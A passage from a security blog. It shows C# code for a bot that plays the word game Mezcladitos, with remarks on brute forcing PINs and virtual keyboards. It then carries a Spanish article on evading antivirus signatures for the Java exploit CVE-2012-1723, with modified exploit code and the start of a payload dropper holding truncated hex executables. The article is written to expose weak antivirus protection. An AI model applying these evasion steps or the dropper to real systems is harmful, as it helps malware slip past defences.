class="n">palabra</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">x</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">adyacentesC</span><span class="p">.</span><span class="n">GetLength</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">profundizar</span><span class="p">(</span><span class="n">x</span> <span class="o">+</span> <span class="n">adyacentesC</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="mi">0</span><span class="p">],</span> <span class="n">y</span> <span class="o">+</span> <span class="n">adyacentesC</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="mi">1</span><span class="p">],</span> <span class="n">ruta</span><span class="p">,</span> <span class="n">palabra</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">x</span> <span class="o">==</span> <span class="mi">4</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">adyacentesD</span><span class="p">.</span><span class="n">GetLength</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">profundizar</span><span class="p">(</span><span class="n">x</span> <span class="o">+</span> <span class="n">adyacentesD</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="mi">0</span><span class="p">],</span> <span class="n">y</span> <span class="o">+</span> <span class="n">adyacentesD</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="mi">1</span><span class="p">],</span> <span class="n">ruta</span><span class="p">,</span> <span class="n">palabra</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="n">y</span> <span class="o">==</span> <span class="mi">4</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">x</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">x</span> <span class="o">&lt;</span> <span class="mi">4</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">adyacentesE</span><span class="p">.</span><span class="n">GetLength</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">profundizar</span><span class="p">(</span><span class="n">x</span> <span class="o">+</span> <span class="n">adyacentesE</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="mi">0</span><span class="p">],</span> <span class="n">y</span> <span class="o">+</span> <span class="n">adyacentesE</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="mi">1</span><span class="p">],</span> <span class="n">ruta</span><span class="p">,</span> <span class="n">palabra</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">x</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">adyacentesF</span><span class="p">.</span><span class="n">GetLength</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">profundizar</span><span class="p">(</span><span class="n">x</span> <span class="o">+</span> <span class="n">adyacentesF</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="mi">0</span><span class="p">],</span> <span class="n">y</span> <span class="o">+</span> <span class="n">adyacentesF</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="mi">1</span><span class="p">],</span> <span class="n">ruta</span><span class="p">,</span> <span class="n">palabra</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">x</span> <span class="o">==</span> <span class="mi">4</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">adyacentesG</span><span class="p">.</span><span class="n">GetLength</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">profundizar</span><span class="p">(</span><span class="n">x</span> <span class="o">+</span> <span class="n">adyacentesG</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="mi">0</span><span class="p">],</span> <span class="n">y</span> <span class="o">+</span> <span class="n">adyacentesG</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="mi">1</span><span class="p">],</span> <span class="n">ruta</span><span class="p">,</span> <span class="n">palabra</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="n">x</span> <span class="o">==</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">y</span> <span class="o">!=</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">y</span> <span class="o">!=</span> <span class="mi">4</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">adyacentesH</span><span class="p">.</span><span class="n">GetLength</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">profundizar</span><span class="p">(</span><span class="n">x</span> <span class="o">+</span> <span class="n">adyacentesH</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="mi">0</span><span class="p">],</span> <span class="n">y</span> <span class="o">+</span> <span class="n">adyacentesH</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="mi">1</span><span class="p">],</span> <span class="n">ruta</span><span class="p">,</span> <span class="n">palabra</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="k">if</span> <span class="p">(</span><span class="n">x</span> <span class="o">==</span> <span class="mi">4</span> <span class="o">-</span> <span class="mi">1</span> <span class="o">&amp;&amp;</span> <span class="n">y</span> <span class="o">!=</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">y</span> <span class="o">!=</span> <span class="mi">4</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">adyacentesI</span><span class="p">.</span><span class="n">GetLength</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">profundizar</span><span class="p">(</span><span class="n">x</span> <span class="o">+</span> <span class="n">adyacentesI</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="mi">0</span><span class="p">],</span> <span class="n">y</span> <span class="o">+</span> <span class="n">adyacentesI</span><span class="p">[</span><span class="n">i</span><span class="p">,</span> <span class="mi">1</span><span class="p">],</span> <span class="n">ruta</span><span class="p">,</span> <span class="n">palabra</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="p">}</span> <span class="k">private</span> <span class="kt">void</span> <span class="nf">profundizar</span><span class="p">(</span><span class="kt">int</span> <span class="n">x</span><span class="p">,</span> <span class="kt">int</span> <span class="n">y</span><span class="p">,</span> <span class="n">List</span><span class="o">&lt;</span><span class="n">string</span><span class="o">&gt;</span> <span class="n">ruta</span><span class="p">,</span> <span class="n">String</span> <span class="n">palabra</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">ruta</span><span class="p">.</span><span class="n">LastIndexOf</span><span class="p">(</span><span class="n">x</span><span class="p">.</span><span class="n">ToString</span><span class="p">()</span> <span class="o">+</span> <span class="n">y</span><span class="p">.</span><span class="n">ToString</span><span class="p">())</span> <span class="o">==</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="n">ady</span><span class="p">(</span><span class="n">x</span><span class="p">,</span> <span class="n">y</span><span class="p">,</span> <span class="n">ruta</span><span class="p">,</span> <span class="n">palabra</span><span class="p">);</span> <span class="p">}</span> <span class="p">}</span> <span class="p">}</span> <span class="p">}</span> </pre></div> <div class="line-block"> <div class="line"><br/></div> </div> <p>Once I have all the results, I hook mouse with SetWindowsHookEx, so I can control the mouse programatically and click boxes automatically for each word.</p> <p>As you can see in the video, before starting the game is needed a calibration, by clicking on the first two boxes and "Return", to calculate the coordinates of all the squares on the board.</p> <div class="line-block"> <div class="line"><br/></div> </div> <div class="highlight"><pre><span class="k">public</span> <span class="k">static</span> <span class="n">IntPtr</span> <span class="nf">mouseHookCallback</span><span class="p">(</span><span class="kt">int</span> <span class="n">nCode</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">wParam</span><span class="p">,</span> <span class="n">IntPtr</span> <span class="n">lParam</span><span class="p">)</span> <span class="p">{</span> <span class="k">if</span> <span class="p">(</span><span class="n">nCode</span> <span class="o">&gt;=</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="n">InputHooks</span><span class="p">.</span><span class="n">MouseMessages</span><span class="p">.</span><span class="n">WM_LBUTTONDOWN</span> <span class="o">==</span> <span class="p">(</span><span class="n">InputHooks</span><span class="p">.</span><span class="n">MouseMessages</span><span class="p">)</span><span class="n">wParam</span> <span class="o">&amp;&amp;</span> <span class="n">Globales</span><span class="p">.</span><span class="n">ctrlDOWN</span> <span class="o">==</span> <span class="nb">true</span><span class="p">)</span> <span class="p">{</span> <span class="n">InputHooks</span><span class="p">.</span><span class="n">MSLLHOOKSTRUCT</span> <span class="n">hookStruct</span> <span class="o">=</span> <span class="p">(</span><span class="n">InputHooks</span><span class="p">.</span><span class="n">MSLLHOOKSTRUCT</span><span class="p">)</span><span class="n">Marshal</span><span class="p">.</span><span class="n">PtrToStructure</span><span class="p">(</span><span class="n">lParam</span><span class="p">,</span> <span class="n">typeof</span><span class="p">(</span><span class="n">InputHooks</span><span class="p">.</span><span class="n">MSLLHOOKSTRUCT</span><span class="p">));</span> <span class="k">if</span> <span class="p">(</span><span class="n">Globales</span><span class="p">.</span><span class="n">siguiente</span> <span class="o">==</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="n">Globales</span><span class="p">.</span><span class="n">coordCasilla1</span> <span class="o">=</span> <span class="n">hookStruct</span><span class="p">.</span><span class="n">pt</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">Globales</span><span class="p">.</span><span class="n">siguiente</span> <span class="o">==</span> <span class="mi">1</span><span class="p">)</span> <span class="p">{</span> <span class="n">Globales</span><span class="p">.</span><span class="n">coordCasilla2</span> <span class="o">=</span> <span class="n">hookStruct</span><span class="p">.</span><span class="n">pt</span><span class="p">;</span> <span class="p">}</span> <span class="k">else</span> <span class="k">if</span> <span class="p">(</span><span class="n">Globales</span><span class="p">.</span><span class="n">siguiente</span> <span class="o">==</span> <span class="mi">2</span><span class="p">)</span> <span class="p">{</span> <span class="n">Globales</span><span class="p">.</span><span class="n">coordBtnIntroducir</span> <span class="o">=</span> <span class="n">hookStruct</span><span class="p">.</span><span class="n">pt</span><span class="p">;</span> <span class="n">Globales</span><span class="p">.</span><span class="n">startPWN</span> <span class="o">=</span> <span class="nb">true</span><span class="p">;</span> <span class="p">}</span> <span class="n">Globales</span><span class="p">.</span><span class="n">siguiente</span><span class="o">++</span><span class="p">;</span> <span class="p">}</span> <span class="k">return</span> <span class="n">InputHooks</span><span class="p">.</span><span class="n">CallNextHookEx</span><span class="p">(</span><span class="n">mouseHookID</span><span class="p">,</span> <span class="n">nCode</span><span class="p">,</span> <span class="n">wParam</span><span class="p">,</span> <span class="n">lParam</span><span class="p">);</span> <span class="p">}</span> </pre></div> <div class="highlight"><pre><span class="k">while</span> <span class="p">(</span><span class="n">Globales</span><span class="p">.</span><span class="n">palabrasEncontradas</span><span class="p">.</span><span class="n">Count</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span> <span class="n">palabra</span> <span class="o">=</span> <span class="n">Globales</span><span class="p">.</span><span class="n">palabrasEncontradas</span><span class="p">.</span><span class="n">Pop</span><span class="p">();</span> <span class="n">ruta</span> <span class="o">=</span> <span class="n">Globales</span><span class="p">.</span><span class="n">rutasEncontradas</span><span class="p">.</span><span class="n">Pop</span><span class="p">();</span> <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">ruta</span><span class="p">.</span><span class="n">Count</span><span class="p">;</span> <span class="n">i</span><span class="o">++</span><span class="p">)</span> <span class="p">{</span> <span class="n">InputHooks</span><span class="p">.</span><span class="n">ClickLeftMouseButton</span><span class="p">(</span><span class="n">Globales</span><span class="p">.</span><span class="n">coordCasilla1</span><span class="p">.</span><span class="n">X</span> <span class="o">+</span> <span class="p">(</span><span class="n">Globales</span><span class="p">.</span><span class="n">calibrado</span> <span class="o">*</span> <span class="n">Convert</span><span class="p">.</span><span class="n">ToInt32</span><span class="p">(</span><span class="n">ruta</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="mi">1</span><span class="p">].</span><span class="n">ToString</span><span class="p">())),</span> <span class="n">Globales</span><span class="p">.</span><span class="n">coordCasilla1</span><span class="p">.</span><span class="n">Y</span> <span class="o">+</span> <span class="p">(</span><span class="n">Globales</span><span class="p">.</span><span class="n">calibrado</span> <span class="o">*</span> <span class="n">Convert</span><span class="p">.</span><span class="n">ToInt32</span><span class="p">(</span><span class="n">ruta</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="mi">0</span><span class="p">].</span><span class="n">ToString</span><span class="p">())));</span> <span class="n">System</span><span class="p">.</span><span class="n">Threading</span><span class="p">.</span><span class="n">Thread</span><span class="p">.</span><span class="n">Sleep</span><span class="p">(</span><span class="mi">50</span><span class="p">);</span> <span class="p">}</span> <span class="n">System</span><span class="p">.</span><span class="n">Threading</span><span class="p">.</span><span class="n">Thread</span><span class="p">.</span><span class="n">Sleep</span><span class="p">(</span><span class="mi">50</span><span class="p">);</span> <span class="n">InputHooks</span><span class="p">.</span><span class="n">ClickLeftMouseButton</span><span class="p">(</span><span class="n">Globales</span><span class="p">.</span><span class="n">coordBtnIntroducir</span><span class="p">.</span><span class="n">X</span><span class="p">,</span> <span class="n">Globales</span><span class="p">.</span><span class="n">coordBtnIntroducir</span><span class="p">.</span><span class="n">Y</span><span class="p">);</span> <span class="n">System</span><span class="p">.</span><span class="n">Threading</span><span class="p">.</span><span class="n">Thread</span><span class="p">.</span><span class="n">Sleep</span><span class="p">(</span><span class="mi">50</span><span class="p">);</span> <span class="p">}</span> </pre></div> <div class="line-block"> <div class="line"><br/></div> </div> <p>We have "brute forced" to win a game, but this kind of technique could be used for less playful things like to gain unauthorized access to websites or physical places, where extra security measures are not in place.</p> <p>In this case we are used the mouse as an automated input method. Some websites (even some banks) use virtual keyboards for login using the mouse. Sometimes even randomly changing the order of the letters or numbers (nothing that can not be skipped with an <a class="reference external" href="http://es.wikipedia.org/wiki/Reconocimiento_%C3%B3ptico_de_caracteres">OCR</a> algorithm). It seems that this scrambling method adds an extra layer of security, but if they don't limit the number of attempts, it can be easily brute forced (and if you are looking a 4 digit PIN, it will not take more than a few minutes).</p> <p>As I said before, having a arduino and a few engines, ** we can brute force practically anything very easily and cheaply ** as long as we do not limit the number of attempts, which makes us wonder how secure are devices that we use on a daily basis, and how often they lack certain safeguards because attacks <strong>"seem"</strong> unlikely. Or how many times we ourselves override these safeguards just for convenience.</p> <p>In the digital era, there are many people (especially older people, or with little computer knowledge) who think analog is safer than digita; so here are a few examples <strong>to beat that urban myth</strong> (Note: Some of these examples are locked after a number of attempts, but I add them just as an example of things that can be physically attacked):</p> <div class="line-block"> <div class="line"><br/></div> </div> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="01" src="//antoniorodriguez.es/posts/fuerza-bruta-mecanica-ganando-al-mezcladitos/mez01.jpg"/></div> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="02" src="//antoniorodriguez.es/posts/fuerza-bruta-mecanica-ganando-al-mezcladitos/mez02.jpg"/></div> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="03" src="//antoniorodriguez.es/posts/fuerza-bruta-mecanica-ganando-al-mezcladitos/mez03.jpg"/></div> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="04" src="//antoniorodriguez.es/posts/fuerza-bruta-mecanica-ganando-al-mezcladitos/mez04.jpg"/></div> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="05" src="//antoniorodriguez.es/posts/fuerza-bruta-mecanica-ganando-al-mezcladitos/mez05.jpg"/></div> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="06" src="//antoniorodriguez.es/posts/fuerza-bruta-mecanica-ganando-al-mezcladitos/mez06.jpg"/></div> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="07" src="//antoniorodriguez.es/posts/fuerza-bruta-mecanica-ganando-al-mezcladitos/mez07.jpg"/></div> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="08" src="//antoniorodriguez.es/posts/fuerza-bruta-mecanica-ganando-al-mezcladitos/mez08.jpg"/></div> <div class="imgwrap drop-shadow curved curved-vt-2 align-center"><img alt="09" src="//antoniorodriguez.es/posts/fuerza-bruta-mecanica-ganando-al-mezcladitos/mez09.jpg"/></div> <div class="line-block"> <div class="line"><br/></div> </div> <div align="center" class="youtube embed-responsive embed-responsive-16by9 drop-shadow curved curved-vt-2"><iframe allowfullscreen="" height="394" src="https://www.youtube-nocookie.com/embed/m_dvAI49Jn8?rel=0&amp;autohide=1&amp;controls=2&amp;modestbranding=1&amp;showinfo=0" width="700"></iframe></div><p>Here is the full source code (wordlist not included). <a class="reference external" href="https://github.com/moebiuz/mezclaPWNr">https://github.com/moebiuz/mezclaPWNr</a></p> Evasión de Antivirus: ¿Por qué vulnerabilidades conocidas y antiguas siguen siendo peligrosas?2013-01-23T10:26:00+01:00tag:antoniorodriguez.es,2013-01-23:evasion-de-antivirus-por-que-vulnerabilidades-conocidas-y-antiguas-siguen-siendo-peligrosas<p><em>Este artículo lo publiqué originalmente en</em> <a class="reference external" href="http://www.securitybydefault.com/2013/01/evasion-de-antivirus-por-que.html">Security By Default</a>.</p> <div class="line-block"> <div class="line"><br/></div> </div> <p>Antes de entrar en la parte técnica y llegar a la programación, donde seguramente muchos lectores dejen de leer, quiero hacer una pequeña introducción para todos los públicos.</p> <p>En este artículo voy a escribir un poco sobre lo fácil que es burlar la protección de un antivirus sin tener que recurrir a técnicas complejas y algoritmos "vanguardistas" como encoders, polimorfismos, metamorfismos y demás ingenios, que muchas veces nos llevan a la falsa creencia de que un posible intruso o creador de malware debe ser un genio de los ordenadores, y como hay pocos genios es difícil que nos toque. De hecho un gran porcentaje de incidentes de seguridad se produce aprovechando vulnerabilidades o malware antiguos, que a priori todo antivirus detectaría fácilmente de no haber sido modificados.</p> <p>Eso, sumado a la falsa seguridad que nos proporciona el software como los antivirus o firewalls hace que la gran mayoría de la gente no preste la atención que debiera a la seguridad de sus sistemas (ya no vamos a entrar en el recalcado tema de cómo escoger una <a class="reference external" href="http://vimeo.com/25197783">buena contraseña</a>).</p> <p>Se invierten millones de euros en investigación de protecciones de seguridad informática y existe todo un gran mercado en torno a ello, pero al final del día el mejor antivirus, y la mejor protección que <strong>"podría"</strong> existir para nuestros ordenadores es el propio usuario (aunque desgraciadamente, todavía siga siendo lo contrario). Muchas veces me han pedido consejo para escoger un antivirus, o me han preguntado que antivirus utilizo, y cuando yo contestaba "ninguno" se quedaban un poco sorprendidos. Si bien hoy en día si utilizo, es verdad que he estado muchísimos años sin utilizarlos.</p> <p>A lo que quiero llegar es que fuera del mundillo de la seguridad informática, se sigue confiando la seguridad un 100% a programas como los antivirus, la gente se siente protegida con ellos, lo cual es contraproducente. Pequeñas cosas como mantener actualizados todos nuestros programas, ser cuidadosos con las cosas que descargamos o controlar que servicios tenemos corriendo en nuestras máquinas en cada momento quedan relegados a un segundo plano (muchísima gente ni siquiera le da importancia a no actualizar), aunque no infalible, minimizan mucho los riesgos, convirtiendo un antivirus en una capa de protección más, y no en la más importante.</p> <p>Dicho esto, y después de asustar un poco a los no iniciados (esa era la intención), entremos al lío.</p> <p>De todos es sabido que los antivirus basan casi el 90% de su detección en la búsqueda de signatures, partes de código reconocibles como maliciosas o sospechosas se que van actualizando en sus bases de datos de firmas según se descubren nuevos virus o exploits.</p> <p>Para camuflar este tipo de firmas en malware, una de las cosas que más se están utilizando son encoders de todo tipo, que manipulan ese código detectable convirtiendolo en otro diferente que hace la misma función, pero a la larga esos encoders se vuelven inefectivos porque siguen un patrón que puede detectarse con <a class="reference external" href="http://es.wikipedia.org/wiki/Heur%C3%ADstica_en_antivirus">análisis heurístico</a>. Incluso el famoso y polimórfico <strong>shikata ga nai</strong> es inefectivo hoy en día, por muchos pases que se apliquen.</p> <p>Por regla general, un antivirus realiza el análisis de los archivos tanto cuando se escriben en disco como cuando son ejecutados, pero no monitoriza toda la ejecución del mismo, porque eso requeriría de unos recursos de los que una máquina normal hoy en día no dispone (imaginad que cada vez que se ejecutase un Photoshop u otro programa intensivo computacionalmente, el AV tuviese que monitorizar en todo momento todas las operaciones que realiza).</p> <p>Sin embargo existen técnicas que le pueden poner las cosas muy difíciles a un antivirus, incluso a los análisis heurísticos, y que sólo un análisis exhaustivo por parte de un humano en un entorno <a class="reference external" href="http://es.wikipedia.org/wiki/Entorno_de_pruebas_(inform%C3%A1tica)">sandbox</a> podría detectar (algo impensable para la detección en tiempo real).</p> <p>Algo de lo que adolecen los antivirus es que analizan los archivos <strong>independientemente</strong>, y no como un conjunto de archivos que forman una pieza de software. Y desgraciadamente deben hacerlo así para evitar multitud de falsos positivos.</p> <p>Por ejemplo, en uno de los últimos exploits Java (<strong>CVE-2012-1723</strong>), compuesto por varias clases empaquetadas en un jar, detectaba la firma sólo en dos de ellas, donde se ejecutaban las funciones sospechosas, con lo que separando esas firmas en clases diferentes se podía anular la detección muy fácilmente.</p> <p>Sin entrar en detalles, este exploit se basa en type confusion, asignando una clase con funciones que requieren privilegios de sistema a otra clase de distinto tipo que no los requiere, saltándose el sandbox java de ese modo. El antivirus detectaba el exploit en la clase que forzaba la confusión (llamemosle confusor), y en un par de líneas de código de otra clase, donde se creaba la instancia del confusor (probablemente para detectar variantes del exploit donde el confusor fuese diferente).</p> <p>No fue necesario utilizar ningún tipo de ofuscación de clases sobre el exploit:</p> <p>Para el confusor bastó con cambiar un bucle for de 100 iteraciones por 110 para que el antivirus ya no lo marcase como peligroso.</p> <p>En cuanto a la clase donde se creaba la instancia de forma reflectiva, el AV lo detectaba cuando estas dos líneas aparecían juntas en el mismo archivo, pero separandolas de una manera extremadamente trivial, neutralizamos totalmente lo que el AV daba por sentado como malicioso:</p> <div class="highlight"><pre><span class="c1">// ClassLoader.java Lineas detectadas por el AV</span> <span class="o">...</span> <span class="kd">final</span> <span class="n">Class</span> <span class="n">inst</span> <span class="o">=</span> <span class="n">confusor</span><span class="o">.</span><span class="na">defineClass</span><span class="o">(</span><span class="n">var1</span><span class="o">,</span> <span class="n">var2</span><span class="o">,</span> <span class="mi">0</span><span class="o">,</span> <span class="n">var2</span><span class="o">.</span><span class="na">length</span><span class="o">,</span> <span class="n">var3</span><span class="o">);</span> <span class="n">inst</span><span class="o">.</span><span class="na">newInstance</span><span class="o">();</span> <span class="o">...</span> <span class="c1">// ClassLoader.java Modificado</span> <span class="o">...</span> <span class="kd">final</span> <span class="n">Class</span> <span class="n">inst</span> <span class="o">=</span> <span class="n">rol</span><span class="o">.</span><span class="na">defineClass</span><span class="o">(</span><span class="n">var1</span><span class="o">,</span> <span class="n">var2</span><span class="o">,</span> <span class="mi">0</span><span class="o">,</span> <span class="n">var2</span><span class="o">.</span><span class="na">length</span><span class="o">,</span> <span class="n">var3</span><span class="o">);</span> <span class="n">Separada</span><span class="o">.</span><span class="na">crear</span><span class="o">(</span><span class="n">inst</span><span class="o">);</span> <span class="o">...</span> <span class="c1">// Separada.java</span> <span class="kd">public</span> <span class="kd">class</span> <span class="nc">Separada</span> <span class="o">{</span> <span class="kd">public</span> <span class="kd">static</span> <span class="kt">void</span> <span class="nf">crear</span><span class="o">(</span><span class="kd">final</span> <span class="n">Class</span> <span class="n">otra</span><span class="o">)</span> <span class="o">{</span> <span class="k">try</span> <span class="o">{</span> <span class="n">otra</span><span class="o">.</span><span class="na">newInstance</span><span class="o">();</span> <span class="o">}</span> <span class="k">catch</span> <span class="o">(</span><span class="kd">final</span> <span class="n">Exception</span> <span class="n">e</span><span class="o">)</span> <span class="o">{}</span> <span class="o">}</span> <span class="o">}</span> </pre></div> <p>Como se puede apreciar, realizando pequeñas modificaciones al código, y sobretodo <strong>separando</strong> las partes del código sospechosas en diferentes lugares es muy sencillo desaparecer de la lista de firmas del AV. De este modo y con un poco de creatividad podríamos ocultar incluso <strong>ROP chains</strong>, heap sprays..., pilares de muchos exploits modernos.</p> <p>Para continuar, y ya que hemos utilizado el exploit java para demostrar cómo evadir el antivirus durante la fase de explotación, vamos a ver como ocultar también un payload, ya que las shellcode más comunes suelen ser detectadas <em>per se</em> como firmas.</p> <p>Hemos modificado el código del exploit de java para evitar el antivirus, pero en cuanto añadiesemos a la ecuación nuestra shellcode (por ejemplo un meterpreter https reverso), volvería a ser detectado. Dado que el exploit en java no nos limita en tamaño a la hora de <em>weaponizarlo</em> con un payload, y como ya nos hemos saltado el sandbox java, ¿por qué ejecutar la shellcode directamente desde el exploit, cuando podemos volcar un ejecutable a disco y lanzar la shellcode desde allí? Podría parecer una estupidez hacer una escritura a disco dando al AV una oportunidad extra de análisis, pero como veremos más adelante evitar la detección de la explotación asumiendo ese riesgo tiene sus ventajas si nos encargamos de ocultarlo bien en la fase post-exploit, donde contamos con más flexibilidad para hacerlo.</p> <div class="highlight"><pre><span class="kn">import</span> <span class="nn">java.io.BufferedReader</span><span class="o">;</span> <span class="kn">import</span> <span class="nn">java.io.BufferedWriter</span><span class="o">;</span> <span class="kn">import</span> <span class="nn">java.io.File</span><span class="o">;</span> <span class="kn">import</span> <span class="nn">java.lang.ProcessBuilder</span><span class="o">;</span> <span class="kn">import</span> <span class="nn">java.io.FileOutputStream</span><span class="o">;</span> <span class="kd">public</span> <span class="kd">class</span> <span class="nc">Payload</span> <span class="o">{</span> <span class="kd">static</span> <span class="n">String</span> <span class="n">spawmerl</span> <span class="o">=</span> <span class="s">"4D5A90000300000004000000FFFF..."</span><span class="o">;</span> <span class="kd">static</span> <span class="n">String</span> <span class="n">spawmer2</span> <span class="o">=</span> <span class="s">"743FFF75F857FF75FOFF75F4FF75..."</span><span class="o">;</span> <span class="kd">static</span> <span class="n">String</span> <span class="n">payload1</span> <span class="o">=</span> <span class="s">"4D5A90000300000004000000FF..."</span><span class="o">;</span> <span class="kd">static</span> <span class="n">String</span> <span class="n">payload2</span> <span class="o">=</span> <span class="s">"0489448F048D048D0000000003..."</span><span class="o">;</span> <span class="kd">static</span> <span class="n">String</span> <span class="n">dllA1</span> <span class="o">=</span> <span class="s">"4D5A90000300000004000000FF..."</span><span class="o">;</span> <span class="kd">static</span> <span class="n">String</span> <span class="n">dllA2</span> <span class="o">=</span> <span class="s">"894518895OF8395O2475OB8B4S..."</span><span class="o">;</span> <span class="kd">static</span> <span class="n">String</span> <span class="n">dllB1</span> <span class="o">=</span> <span class="s">"4D5A90000300000004000000FF..."</span><span class="o">;</span> <span class="kd">static</span> <span class="n">String</span> <span class="n">dllB2</span> <span class="o">=</span> <span class="s">"000000E862D5FFFFFFB6CC0000..."</span><span class="o">;</span> <span class="kd">public</span> <span class="kd">static</span> <span class="kt">byte</span><span class="o">[]</span> <span class="nf">CadenaToBytes</span><span class="o">(</span><span class="n">String</span> <span class="n">s</span><span class="o">)</span> <span class="o">{</span> <span class="kt">int</span> <span class="n">len</span> <span class="o">=</span> <span class="n">s</span><span class="o">.</span><span class="na">length</span><span class="o">();</span> <span class="kt">byte</span><span class="o">[]</span> <span class="n">dig</span> <span class="o">=</span> <span class="k">new</span> <span class="kt">byte</span><span class="o">[</span><span class="n">len</span> <span class="o">/</span> <span class="mi">2</span><span class="o">];</span> <span class="k">for</span> <span class="o">(</span><span class="kt">int</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="o">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="n">s</span><span 